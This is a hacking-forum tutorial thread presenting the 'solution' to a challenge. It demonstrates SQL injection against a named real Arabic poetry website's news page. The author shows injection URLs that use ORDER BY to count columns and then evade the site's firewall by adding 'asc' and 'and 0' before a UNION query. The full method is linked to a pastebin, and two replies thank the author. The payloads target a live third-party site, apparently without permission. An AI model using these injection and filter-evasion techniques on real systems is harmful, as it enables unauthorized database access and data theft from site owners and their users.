Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] The solution to last Challenge Number 11

Hi EveryBody This Is The solution to last Challenge Number 11 .

PHP Code

<?php 
https
://hackforums.net/showthread.php?tid=5694500 

let's beginning

# Target #

PHP Code

<?php 
www
.princeofpoets.com/ar/news.php?cat=43&id=230 

first try to get column number by using [' order by 100 -- -]

PHP Code

<?php 
www
.princeofpoets.com/ar/news.php?cat=43' order by 100 -- -&id=230 

[Image: 6P43Y3P.png]

as we see ' Forbidden '

If you’d like your results in the opposite order (referred to as descending order), you need to add the DESC or asc operator like

PHP Code

<?php 
?cat=43' order by 100 asc -- - 

or

PHP Code

<?php 
?cat=43' order by 100 DESC -- - 

so any time you have Forbidden in Order By you need to use ascending operator to bypassing that Forbidden


see more about that operator here

PHP Code

<?php 
https
://stackoverflow.com/questions/5912770/select-last-20-order-by-ascending-php-mysql 

PHP Code

<?php 
www
.princeofpoets.com/ar/news.php?cat=43' order by 100 asc -- -&id=230 

[Image: X2V3XoB.png]

I found the column number it's only[2] so let's go to next step

let's check if union based will work or not here

PHP Code

<?php 
http
://www.princeofpoets.com/ar/news.php?cat=43' union a-- -&id=230 

[Image: 2XiR9O2.png]

as we see Forbidden notic don't try to use [/*!50000*/] to bypassing union doesn't work in this site

let's try to add and 0 to variable to bypassing Forbidden

PHP Code

<?php 
http
://www.princeofpoets.com/ar/news.php?cat=43' and 0 union a-- -&id=230 

[Image: iDjYWQm.png]

working 👍

the full method now will be

PHP Code

<?php 
https
://pastebin.com/vNQVgdKU 

[Image: o8GziMI.png]

The End - Hope You Loved 🤝
Cheers for sharing the solution. I know I wouldn't have been able to work it out...
(Aug 19, 2017 12:20 AM)Gardener Jim Wrote:  Cheers for sharing the solution.

thx bro 🤝


Possibly Related Threads...
Thread / Author Replies Views Last Post
by pishicat_InjectorSep 14, 2018 01:52 PM 11 876 Sep 14, 2018 01:52 PM
Last Post: ApertureSecurity
by pishicat_InjectorAug 27, 2018 10:25 PM 3 371 Aug 27, 2018 10:25 PM
Last Post: ApertureSecurity
by pishicat_InjectorJun 24, 2018 12:20 PM 4 280 Jun 24, 2018 12:20 PM
Last Post: Ahmed El Melegy